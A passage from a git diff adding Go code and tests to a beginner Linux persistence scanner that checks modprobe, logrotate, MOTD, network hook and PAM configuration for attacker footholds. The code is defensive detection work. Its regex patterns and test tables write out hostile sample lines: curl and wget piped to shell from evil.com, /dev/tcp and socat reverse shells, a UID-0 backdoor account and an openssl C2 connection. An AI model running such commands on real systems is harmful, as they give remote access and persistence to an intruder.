+ modprobeD := ResolveRoot(root, "/etc/modprobe.d")
+ for _, path := range ListFiles(modprobeD) {
+ findings = append(
+ findings,
+ k.scanModprobeConf(path)...,
+ )
+ }
+
+ return findings
+}
+
+func (k *KernelScanner) scanModulesFile(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ if lines == nil {
+ return nil
+ }
+
+ var findings []types.Finding
+ for _, line := range lines {
+ trimmed := strings.TrimSpace(line)
+ if IsCommentOrEmpty(trimmed) {
+ continue
+ }
+
+ findings = append(findings, types.Finding{
+ Scanner: kernelScannerName,
+ Severity: types.SeverityInfo,
+ Title: "Kernel module loaded at boot",
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitreKernel,
+ })
+ }
+ return findings
+}
+
+func (k *KernelScanner) scanModprobeConf(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ if lines == nil {
+ return nil
+ }
+
+ var findings []types.Finding
+ for _, line := range lines {
+ trimmed := strings.TrimSpace(line)
+ if IsCommentOrEmpty(trimmed) {
+ continue
+ }
+
+ if strings.HasPrefix(trimmed, "install ") &&
+ containsShellCommand(trimmed) {
+ findings = append(findings, types.Finding{
+ Scanner: kernelScannerName,
+ Severity: types.SeverityHigh,
+ Title: "Module install hook runs shell command",
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitreKernel,
+ })
+ }
+ }
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel_test.go
new file mode 100644
index 00000000..c5f42a8d
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel_test.go
@@ -0,0 +1,132 @@
+/*
+©AngelaMos | 2026
+kernel_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestKernelScanner_SuspiciousModprobe(t *testing.T) {
+ k := &KernelScanner{}
+ path := filepath.Join(
+ testdataDir(), "kernel", "suspicious.conf",
+ )
+
+ findings := k.scanModprobeConf(path)
+ if len(findings) == 0 {
+ t.Fatal(
+ "suspicious modprobe config produced no findings",
+ )
+ }
+
+ if findings[0].Severity != types.SeverityHigh {
+ t.Errorf(
+ "severity = %v, want high",
+ findings[0].Severity,
+ )
+ }
+
+ if findings[0].Title != "Module install hook runs shell command" {
+ t.Errorf(
+ "title = %q, want %q",
+ findings[0].Title,
+ "Module install hook runs shell command",
+ )
+ }
+}
+
+func TestKernelScanner_CleanModules(t *testing.T) {
+ dir := t.TempDir()
+ path := filepath.Join(dir, "clean.conf")
+ writeTestFile(
+ t, path,
+ "# Clean module config\n"+
+ "options snd_hda_intel power_save=1\n"+
+ "blacklist nouveau\n",
+ )
+
+ k := &KernelScanner{}
+ findings := k.scanModprobeConf(path)
+
+ if len(findings) > 0 {
+ t.Errorf(
+ "clean modprobe produced %d findings, want 0",
+ len(findings),
+ )
+ }
+}
+
+func TestKernelScanner_ModulesFile(t *testing.T) {
+ dir := t.TempDir()
+ path := filepath.Join(dir, "modules")
+ writeTestFile(
+ t, path,
+ "# /etc/modules\nlp\nloop\n",
+ )
+
+ k := &KernelScanner{}
+ findings := k.scanModulesFile(path)
+
+ if len(findings) != 2 {
+ t.Fatalf(
+ "modules file: got %d findings, want 2",
+ len(findings),
+ )
+ }
+
+ for _, f := range findings {
+ if f.Severity != types.SeverityInfo {
+ t.Errorf(
+ "severity = %v, want info",
+ f.Severity,
+ )
+ }
+ }
+}
+
+func TestContainsShellCommand(t *testing.T) {
+ tests := []struct {
+ name string
+ line string
+ want bool
+ }{
+ {
+ name: "bash path",
+ line: "install usb-storage /bin/bash -c 'echo test'",
+ want: true,
+ },
+ {
+ name: "network tool",
+ line: "install fake curl http://evil.com",
+ want: true,
+ },
+ {
+ name: "clean modprobe",
+ line: "install pcspkr /bin/true",
+ want: false,
+ },
+ {
+ name: "python script",
+ line: "install mod python3 -c 'import os'",
+ want: true,
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ got := containsShellCommand(tt.line)
+ if got != tt.want {
+ t.Errorf(
+ "containsShellCommand(%q) = %v, want %v",
+ tt.line, got, tt.want,
+ )
+ }
+ })
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate.go
new file mode 100644
index 00000000..5a0f82b6
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate.go
@@ -0,0 +1,132 @@
+/*
+©AngelaMos | 2026
+logrotate.go
+
+Scans logrotate configuration for persistence via rotate hooks
+
+Parses /etc/logrotate.d/ configs for postrotate, prerotate,
+firstaction, and lastaction blocks that execute shell commands
+as root during log rotation. Attackers embed callbacks here
+because these files are rarely audited.
+
+MITRE ATT&CK:
+ T1053.003 - Scheduled Task/Job: Cron
+*/
+
+package scanner
+
+import (
+ "strings"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ logrotateScannerName = "logrotate"
+ mitreLogrotate = "T1053.003"
+)
+
+var rotateHooks = []string{
+ "postrotate",
+ "prerotate",
+ "firstaction",
+ "lastaction",
+}
+
+func init() {
+ Register(&LogrotateScanner{})
+}
+
+type LogrotateScanner struct{}
+
+func (l *LogrotateScanner) Name() string {
+ return logrotateScannerName
+}
+
+func (l *LogrotateScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ confD := ResolveRoot(root, "/etc/logrotate.d")
+ for _, path := range ListFiles(confD) {
+ findings = append(
+ findings,
+ l.scanConfig(path)...,
+ )
+ }
+
+ mainConf := ResolveRoot(root, "/etc/logrotate.conf")
+ findings = append(
+ findings,
+ l.scanConfig(mainConf)...,
+ )
+
+ return findings
+}
+
+func (l *LogrotateScanner) scanConfig(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ if lines == nil {
+ return nil
+ }
+
+ var findings []types.Finding
+ inBlock := false
+ blockName := ""
+
+ for _, line := range lines {
+ trimmed := strings.TrimSpace(line)
+
+ if trimmed == "endscript" {
+ inBlock = false
+ continue
+ }
+
+ for _, hook := range rotateHooks {
+ if trimmed == hook {
+ inBlock = true
+ blockName = hook
+ break
+ }
+ }
+
+ if !inBlock {
+ continue
+ }
+
+ if IsCommentOrEmpty(trimmed) {
+ continue
+ }
+
+ matched, sev, label := MatchLine(trimmed)
+ if matched {
+ findings = append(findings, types.Finding{
+ Scanner: logrotateScannerName,
+ Severity: sev,
+ Title: "Suspicious logrotate " +
+ blockName + ": " + label,
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitreLogrotate,
+ })
+ continue
+ }
+
+ if containsShellCommand(trimmed) {
+ findings = append(findings, types.Finding{
+ Scanner: logrotateScannerName,
+ Severity: types.SeverityMedium,
+ Title: "Logrotate " + blockName +
+ " runs shell command",
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitreLogrotate,
+ })
+ }
+ }
+
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate_test.go
new file mode 100644
index 00000000..6adc8f80
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate_test.go
@@ -0,0 +1,58 @@
+/*
+©AngelaMos | 2026
+logrotate_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestLogrotateScanner_CleanConfig(t *testing.T) {
+ l := &LogrotateScanner{}
+ path := filepath.Join(
+ testdataDir(), "logrotate", "clean-syslog",
+ )
+
+ findings := l.scanConfig(path)
+ if len(findings) > 0 {
+ t.Errorf(
+ "clean logrotate config produced %d findings, want 0",
+ len(findings),
+ )
+ for _, f := range findings {
+ t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
+ }
+ }
+}
+
+func TestLogrotateScanner_MaliciousConfig(t *testing.T) {
+ l := &LogrotateScanner{}
+ path := filepath.Join(
+ testdataDir(), "logrotate", "malicious-app",
+ )
+
+ findings := l.scanConfig(path)
+ if len(findings) == 0 {
+ t.Fatal(
+ "malicious logrotate config produced no findings",
+ )
+ }
+
+ hasHigh := false
+ for _, f := range findings {
+ if f.Severity >= types.SeverityHigh {
+ hasHigh = true
+ }
+ }
+
+ if !hasHigh {
+ t.Error(
+ "expected high+ severity for curl|bash in postrotate",
+ )
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd.go
new file mode 100644
index 00000000..3a018f67
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd.go
@@ -0,0 +1,63 @@
+/*
+©AngelaMos | 2026
+motd.go
+
+Scans MOTD scripts for login-triggered persistence
+
+Checks /etc/update-motd.d/ for scripts that execute as root on
+every SSH or console login. Attackers plant callbacks here because
+the directory is rarely monitored.
+
+MITRE ATT&CK:
+ T1546 - Event Triggered Execution
+*/
+
+package scanner
+
+import (
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ motdScannerName = "motd"
+ mitreMOTD = "T1546"
+)
+
+func init() {
+ Register(&MOTDScanner{})
+}
+
+type MOTDScanner struct{}
+
+func (m *MOTDScanner) Name() string {
+ return motdScannerName
+}
+
+func (m *MOTDScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ motdDir := ResolveRoot(root, "/etc/update-motd.d")
+ for _, path := range ListFiles(motdDir) {
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ path, motdScannerName, mitreMOTD,
+ )...,
+ )
+
+ if IsWorldWritable(path) {
+ findings = append(findings, types.Finding{
+ Scanner: motdScannerName,
+ Severity: types.SeverityMedium,
+ Title: "World-writable MOTD script",
+ Path: path,
+ Evidence: "Any user can modify this login script",
+ MITRE: mitreMOTD,
+ })
+ }
+ }
+
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd_test.go
new file mode 100644
index 00000000..7be91fb2
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd_test.go
@@ -0,0 +1,68 @@
+/*
+©AngelaMos | 2026
+motd_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestMOTDScanner_CleanScript(t *testing.T) {
+ path := filepath.Join(
+ testdataDir(), "motd", "clean-motd",
+ )
+
+ findings := ScanFileForPatterns(
+ path, motdScannerName, mitreMOTD,
+ )
+
+ if len(findings) > 0 {
+ t.Errorf(
+ "clean motd produced %d findings, want 0",
+ len(findings),
+ )
+ for _, f := range findings {
+ t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
+ }
+ }
+}
+
+func TestMOTDScanner_SuspiciousScript(t *testing.T) {
+ path := filepath.Join(
+ testdataDir(), "motd", "suspicious-motd",
+ )
+
+ findings := ScanFileForPatterns(
+ path, motdScannerName, mitreMOTD,
+ )
+
+ if len(findings) < 2 {
+ t.Fatalf(
+ "suspicious motd: got %d findings, want >= 2",
+ len(findings),
+ )
+ }
+
+ hasHigh := false
+ hasMedium := false
+ for _, f := range findings {
+ if f.Severity >= types.SeverityHigh {
+ hasHigh = true
+ }
+ if f.Severity >= types.SeverityMedium {
+ hasMedium = true
+ }
+ }
+
+ if !hasHigh {
+ t.Error("expected high+ severity for curl|bash")
+ }
+ if !hasMedium {
+ t.Error("expected medium+ severity for nohup")
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook.go
new file mode 100644
index 00000000..8b4cbafc
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook.go
@@ -0,0 +1,77 @@
+/*
+©AngelaMos | 2026
+netifhook.go
+
+Scans network interface hook directories for persistence scripts
+
+Checks NetworkManager dispatcher scripts and if-up.d hooks that
+trigger on network state changes. Attackers use these to establish
+C2 callbacks whenever a network interface activates.
+
+MITRE ATT&CK:
+ T1546 - Event Triggered Execution
+*/
+
+package scanner
+
+import (
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ netifhookScannerName = "netifhook"
+ mitreNetifhook = "T1546"
+)
+
+var netHookDirs = []string{
+ "/etc/NetworkManager/dispatcher.d",
+ "/etc/NetworkManager/dispatcher.d/pre-up.d",
+ "/etc/NetworkManager/dispatcher.d/pre-down.d",
+ "/etc/network/if-up.d",
+ "/etc/network/if-down.d",
+ "/etc/network/if-pre-up.d",
+ "/etc/network/if-post-down.d",
+}
+
+func init() {
+ Register(&NetIfHookScanner{})
+}
+
+type NetIfHookScanner struct{}
+
+func (n *NetIfHookScanner) Name() string {
+ return netifhookScannerName
+}
+
+func (n *NetIfHookScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ for _, dir := range netHookDirs {
+ resolved := ResolveRoot(root, dir)
+ for _, path := range ListFiles(resolved) {
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ path,
+ netifhookScannerName,
+ mitreNetifhook,
+ )...,
+ )
+
+ if IsWorldWritable(path) {
+ findings = append(findings, types.Finding{
+ Scanner: netifhookScannerName,
+ Severity: types.SeverityMedium,
+ Title: "World-writable network hook script",
+ Path: path,
+ Evidence: "Any user can modify this network hook",
+ MITRE: mitreNetifhook,
+ })
+ }
+ }
+ }
+
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook_test.go
new file mode 100644
index 00000000..85b185f8
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook_test.go
@@ -0,0 +1,62 @@
+/*
+©AngelaMos | 2026
+netifhook_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestNetIfHookScanner_CleanHook(t *testing.T) {
+ path := filepath.Join(
+ testdataDir(), "netifhook", "clean-hook",
+ )
+
+ findings := ScanFileForPatterns(
+ path, netifhookScannerName, mitreNetifhook,
+ )
+
+ if len(findings) > 0 {
+ t.Errorf(
+ "clean network hook produced %d findings, want 0",
+ len(findings),
+ )
+ for _, f := range findings {
+ t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
+ }
+ }
+}
+
+func TestNetIfHookScanner_MaliciousHook(t *testing.T) {
+ path := filepath.Join(
+ testdataDir(), "netifhook", "malicious-hook",
+ )
+
+ findings := ScanFileForPatterns(
+ path, netifhookScannerName, mitreNetifhook,
+ )
+
+ if len(findings) == 0 {
+ t.Fatal(
+ "malicious network hook produced no findings",
+ )
+ }
+
+ hasHigh := false
+ for _, f := range findings {
+ if f.Severity >= types.SeverityHigh {
+ hasHigh = true
+ }
+ }
+
+ if !hasHigh {
+ t.Error(
+ "expected high+ severity for wget|sh in network hook",
+ )
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam.go
new file mode 100644
index 00000000..3c09207c
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam.go
@@ -0,0 +1,107 @@
+/*
+©AngelaMos | 2026
+pam.go
+
+Scans PAM configuration for authentication backdoor indicators
+
+Checks /etc/pam.d/ for pam_exec.so entries that run custom scripts
+and for references to non-standard PAM modules that may accept any
+credential.
+
+MITRE ATT&CK:
+ T1556.003 - Modify Authentication Process: Pluggable Authentication Modules
+*/
+
+package scanner
+
+import (
+ "strings"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ pamScannerName = "pam"
+ mitrePAM = "T1556.003"
+)
+
+func init() {
+ Register(&PAMScanner{})
+}
+
+type PAMScanner struct{}
+
+func (p *PAMScanner) Name() string {
+ return pamScannerName
+}
+
+func (p *PAMScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ pamD := ResolveRoot(root, "/etc/pam.d")
+ for _, path := range ListFiles(pamD) {
+ findings = append(
+ findings,
+ p.scanPamConfig(path)...,
+ )
+ }
+
+ return findings
+}
+
+func (p *PAMScanner) scanPamConfig(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ if lines == nil {
+ return nil
+ }
+
+ var findings []types.Finding
+ for _, line := range lines {
+ trimmed := strings.TrimSpace(line)
+ if IsCommentOrEmpty(trimmed) {
+ continue
+ }
+
+ if strings.Contains(trimmed, "pam_exec.so") {
+ sev := types.SeverityMedium
+ if NetworkToolPattern.MatchString(trimmed) ||
+ TempDirPattern.MatchString(trimmed) {
+ sev = types.SeverityHigh
+ }
+
+ findings = append(findings, types.Finding{
+ Scanner: pamScannerName,
+ Severity: sev,
+ Title: "pam_exec.so runs external command",
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitrePAM,
+ })
+ }
+
+ if strings.Contains(trimmed, "pam_permit.so") &&
+ containsAuthContext(trimmed) {
+ findings = append(findings, types.Finding{
+ Scanner: pamScannerName,
+ Severity: types.SeverityHigh,
+ Title: "pam_permit.so in auth context (accepts any credential)",
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitrePAM,
+ })
+ }
+ }
+ return findings
+}
+
+func containsAuthContext(line string) bool {
+ fields := strings.Fields(line)
+ if len(fields) < 1 {
+ return false
+ }
+ return fields[0] == "auth"
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam_test.go
new file mode 100644
index 00000000..9551d874
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam_test.go
@@ -0,0 +1,127 @@
+/*
+©AngelaMos | 2026
+pam_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestPAMScanner_BackdoorConfig(t *testing.T) {
+ p := &PAMScanner{}
+ path := filepath.Join(
+ testdataDir(), "pam", "backdoor-pam",
+ )
+
+ findings := p.scanPamConfig(path)
+ if len(findings) == 0 {
+ t.Fatal("backdoor pam config produced no findings")
+ }
+
+ hasPermit := false
+ for _, f := range findings {
+ if f.Severity == types.SeverityHigh &&
+ f.Title == "pam_permit.so in auth context "+
+ "(accepts any credential)" {
+ hasPermit = true
+ }
+ }
+
+ if !hasPermit {
+ t.Error(
+ "expected high severity for pam_permit.so in auth",
+ )
+ }
+}
+
+func TestPAMScanner_CleanConfig(t *testing.T) {
+ dir := t.TempDir()
+ path := filepath.Join(dir, "clean-pam")
+ writeTestFile(
+ t, path,
+ "auth required pam_unix.so\n"+
+ "account required pam_unix.so\n",
+ )
+
+ p := &PAMScanner{}
+ findings := p.scanPamConfig(path)
+
+ if len(findings) > 0 {
+ t.Errorf(
+ "clean pam config produced %d findings, want 0",
+ len(findings),
+ )
+ for _, f := range findings {
+ t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
+ }
+ }
+}
+
+func TestPAMScanner_PamExec(t *testing.T) {
+ dir := t.TempDir()
+ path := filepath.Join(dir, "pam-exec")
+ writeTestFile(
+ t, path,
+ "auth optional pam_exec.so /tmp/.hidden/hook\n",
+ )
+
+ p := &PAMScanner{}
+ findings := p.scanPamConfig(path)
+
+ if len(findings) == 0 {
+ t.Fatal("pam_exec.so with tmp path produced no findings")
+ }
+
+ if findings[0].Severity != types.SeverityHigh {
+ t.Errorf(
+ "severity = %v, want high",
+ findings[0].Severity,
+ )
+ }
+}
+
+func TestContainsAuthContext(t *testing.T) {
+ tests := []struct {
+ name string
+ line string
+ want bool
+ }{
+ {
+ name: "auth line",
+ line: "auth required pam_unix.so",
+ want: true,
+ },
+ {
+ name: "account line",
+ line: "account required pam_unix.so",
+ want: false,
+ },
+ {
+ name: "session line",
+ line: "session optional pam_motd.so",
+ want: false,
+ },
+ {
+ name: "empty",
+ line: "",
+ want: false,
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ got := containsAuthContext(tt.line)
+ if got != tt.want {
+ t.Errorf(
+ "containsAuthContext(%q) = %v, want %v",
+ tt.line, got, tt.want,
+ )
+ }
+ })
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns.go
new file mode 100644
index 00000000..366acf7f
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns.go
@@ -0,0 +1,148 @@
+/*
+©AngelaMos | 2026
+patterns.go
+
+Compiled regular expressions for detecting suspicious persistence content
+
+Centralizes all pattern matching used across scanner modules so each
+scanner does not duplicate regex compilation. Patterns cover network
+tool invocations, encoding/obfuscation, reverse shell signatures,
+temporary directory references, and alias hijacking.
+*/
+
+package scanner
+
+import (
+ "regexp"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+var NetworkToolPattern = regexp.MustCompile(
+ `\b(curl|wget|nc|ncat|nmap|socat)\b`,
+)
+
+var DownloadExecPattern = regexp.MustCompile(
+ `(curl|wget)\s+.*\|\s*(bash|sh|zsh|dash)` +
+ `|` +
+ `(curl|wget)\s+.*-o\s+/tmp/`,
+)
+
+var EncodingPattern = regexp.MustCompile(
+ `\b(base64\s+-d|base64\s+--decode|xxd\s+-r|openssl\s+enc)\b` +
+ `|` +
+ `\becho\s+[A-Za-z0-9+/=]{20,}\s*\|`,
+)
+
+var ReverseShellPattern = regexp.MustCompile(
+ `/dev/tcp/` +
+ `|` +
+ `\bmkfifo\b.*\bnc\b` +
+ `|` +
+ `\bsocat\b.*\bexec\b` +
+ `|` +
+ `python[23]?\s+-c\s+.*socket` +
+ `|` +
+ `perl\s+-e\s+.*socket` +
+ `|` +
+ `ruby\s+-rsocket`,
+)
+
+var TempDirPattern = regexp.MustCompile(
+ `(/tmp/|/dev/shm/|/var/tmp/)`,
+)
+
+var ScriptLangPattern = regexp.MustCompile(
+ `\b(python[23]?|perl|ruby)\s+-[ce]\b`,
+)
+
+var AliasHijackPattern = regexp.MustCompile(
+ `alias\s+(sudo|su|ssh|ls|cat|id|whoami|passwd)\s*=`,
+)
+
+var LDPreloadPattern = regexp.MustCompile(
+ `\b(LD_PRELOAD|LD_LIBRARY_PATH)\s*=`,
+)
+
+var PathManipPattern = regexp.MustCompile(
+ `\bPATH\s*=\s*["']?(/tmp|/dev/shm|/var/tmp)`,
+)
+
+var NohupPattern = regexp.MustCompile(
+ `\bnohup\b.*&` +
+ `|` +
+ `&\s*disown`,
+)
+
+var EvalExecPattern = regexp.MustCompile(
+ `\b(eval|exec)\s+["']?\$\(.*(curl|wget|nc|base64)`,
+)
+
+var SuidPattern = regexp.MustCompile(
+ `chmod\s+[ugo]*\+s\b` +
+ `|` +
+ `chmod\s+[247][0-7]{3}\b`,
+)
+
+var AccountCreatePattern = regexp.MustCompile(
+ `\b(useradd|adduser|usermod)\b`,
+)
+
+var ImmutablePattern = regexp.MustCompile(
+ `\bchattr\s+[+-]i\b`,
+)
+
+var PersistenceInstallPattern = regexp.MustCompile(
+ `\bsystemctl\s+(enable|daemon-reload)\b` +
+ `|` +
+ `\bcrontab\s+-[le]\b`,
+)
+
+var EncryptedC2Pattern = regexp.MustCompile(
+ `\bopenssl\s+s_client\b`,
+)
+
+type PatternMatch struct {
+ Pattern *regexp.Regexp
+ Severity types.Severity
+ Label string
+}
+
+var SuspiciousPatterns = []PatternMatch{
+ {ReverseShellPattern, types.SeverityCritical, "reverse shell pattern"},
+ {DownloadExecPattern, types.SeverityHigh, "download-and-execute chain"},
+ {EncodingPattern, types.SeverityHigh, "encoded/obfuscated payload"},
+ {NetworkToolPattern, types.SeverityMedium, "network tool invocation"},
+ {ScriptLangPattern, types.SeverityMedium, "inline script execution"},
+ {TempDirPattern, types.SeverityMedium, "temporary directory reference"},
+ {AliasHijackPattern, types.SeverityHigh, "alias hijacking"},
+ {LDPreloadPattern, types.SeverityCritical, "LD_PRELOAD manipulation"},
+ {PathManipPattern, types.SeverityHigh, "PATH manipulation to temp dir"},
+ {NohupPattern, types.SeverityMedium, "background process launch"},
+ {EvalExecPattern, types.SeverityHigh, "dynamic eval/exec"},
+ {SuidPattern, types.SeverityCritical, "SUID bit manipulation"},
+ {AccountCreatePattern, types.SeverityHigh, "account creation/modification"},
+ {ImmutablePattern, types.SeverityHigh, "file attribute manipulation"},
+ {
+ PersistenceInstallPattern,
+ types.SeverityMedium,
+ "persistence self-installation",
+ },
+ {EncryptedC2Pattern, types.SeverityHigh, "encrypted C2 channel"},
+}
+
+func MatchLine(
+ line string,
+) (matched bool, sev types.Severity, label string) {
+ best := types.SeverityInfo
+ for _, p := range SuspiciousPatterns {
+ if p.Pattern.MatchString(line) {
+ if !matched || p.Severity > best {
+ best = p.Severity
+ label = p.Label
+ }
+ matched = true
+ }
+ }
+ return matched, best, label
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns_test.go
new file mode 100644
index 00000000..111a5221
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns_test.go
@@ -0,0 +1,194 @@
+/*
+©AngelaMos | 2026
+patterns_test.go
+*/
+
+package scanner
+
+import (
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestMatchLine(t *testing.T) {
+ tests := []struct {
+ name string
+ line string
+ wantHit bool
+ wantSev types.Severity
+ wantLbl string
+ }{
+ {
+ name: "clean line",
+ line: "/usr/sbin/sshd -D",
+ wantHit: false,
+ },
+ {
+ name: "curl pipe bash",
+ line: "curl http://evil.com/x | bash",
+ wantHit: true,
+ wantSev: types.SeverityHigh,
+ wantLbl: "download-and-execute chain",
+ },
+ {
+ name: "wget pipe sh",
+ line: "wget -qO- http://evil.com/x | sh",
+ wantHit: true,
+ wantSev: types.SeverityHigh,
+ wantLbl: "download-and-execute chain",
+ },
+ {
+ name: "base64 decode",
+ line: "echo dGVzdA== | base64 -d | sh",
+ wantHit: true,
+ wantSev: types.SeverityHigh,
+ wantLbl: "encoded/obfuscated payload",
+ },
+ {
+ name: "reverse shell dev tcp",
+ line: "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
+ wantHit: true,
+ wantSev: types.SeverityCritical,
+ wantLbl: "reverse shell pattern",
+ },
+ {
+ name: "socat reverse shell",
+ line: "socat exec:'bash -li',pty TCP:10.0.0.1:4444",
+ wantHit: true,
+ wantSev: types.SeverityCritical,
+ wantLbl: "reverse shell pattern",
+ },
+ {
+ name: "temp dir reference",
+ line: "/tmp/.hidden/payload",
+ wantHit: true,
+ wantSev: types.SeverityMedium,
+ wantLbl: "temporary directory reference",
+ },
+ {
+ name: "dev shm reference",
+ line: "/dev/shm/.evil.so",
+ wantHit: true,
+ wantSev: types.SeverityMedium,
+ wantLbl: "temporary directory reference",
+ },
+ {
+ name: "alias hijack",
+ line: "alias sudo='/tmp/keylog && sudo'",
+ wantHit: true,
+ wantSev: types.SeverityHigh,
+ wantLbl: "alias hijacking",
+ },
+ {
+ name: "LD_PRELOAD export",
+ line: "export LD_PRELOAD=/dev/shm/.evil.so",
+ wantHit: true,
+ wantSev: types.SeverityCritical,
+ wantLbl: "LD_PRELOAD manipulation",
+ },
+ {
+ name: "nohup background",
+ line: "nohup /tmp/.hidden/beacon &",
+ wantHit: true,
+ wantSev: types.SeverityMedium,
+ },
+ {
+ name: "python socket",
+ line: "python3 -c 'import socket'",
+ wantHit: true,
+ wantSev: types.SeverityCritical,
+ wantLbl: "reverse shell pattern",
+ },
+ {
+ name: "PATH to tmp",
+ line: "PATH=/tmp/evil:$PATH",
+ wantHit: true,
+ wantSev: types.SeverityHigh,
+ wantLbl: "PATH manipulation to temp dir",
+ },
+ {
+ name: "normal path export",
+ line: "export PATH=/usr/local/bin:$PATH",
+ wantHit: false,
+ },
+ {
+ name: "comment with keyword",
+ line: "# curl http://example.com",
+ wantHit: true,
+ wantSev: types.SeverityMedium,
+ wantLbl: "network tool invocation",
+ },
+ {
+ name: "chmod suid",
+ line: "chmod u+s /tmp/.hidden/shell",
+ wantHit: true,
+ wantSev: types.SeverityCritical,
+ wantLbl: "SUID bit manipulation",
+ },
+ {
+ name: "chmod numeric suid",
+ line: "chmod 4755 /usr/local/bin/backdoor",
+ wantHit: true,
+ wantSev: types.SeverityCritical,
+ wantLbl: "SUID bit manipulation",
+ },
+ {
+ name: "useradd backdoor",
+ line: "useradd -o -u 0 -g root backdoor",
+ wantHit: true,
+ wantSev: types.SeverityHigh,
+ wantLbl: "account creation/modification",
+ },
+ {
+ name: "chattr immutable",
+ line: "chattr +i /etc/resolv.conf",
+ wantHit: true,
+ wantSev: types.SeverityHigh,
+ wantLbl: "file attribute manipulation",
+ },
+ {
+ name: "systemctl enable persistence",
+ line: "systemctl enable backdoor.service",
+ wantHit: true,
+ wantSev: types.SeverityMedium,
+ wantLbl: "persistence self-installation",
+ },
+ {
+ name: "openssl c2 channel",
+ line: "openssl s_client -connect c2.evil.com:443",
+ wantHit: true,
+ wantSev: types.SeverityHigh,
+ wantLbl: "encrypted C2 channel",
+ },
+ {
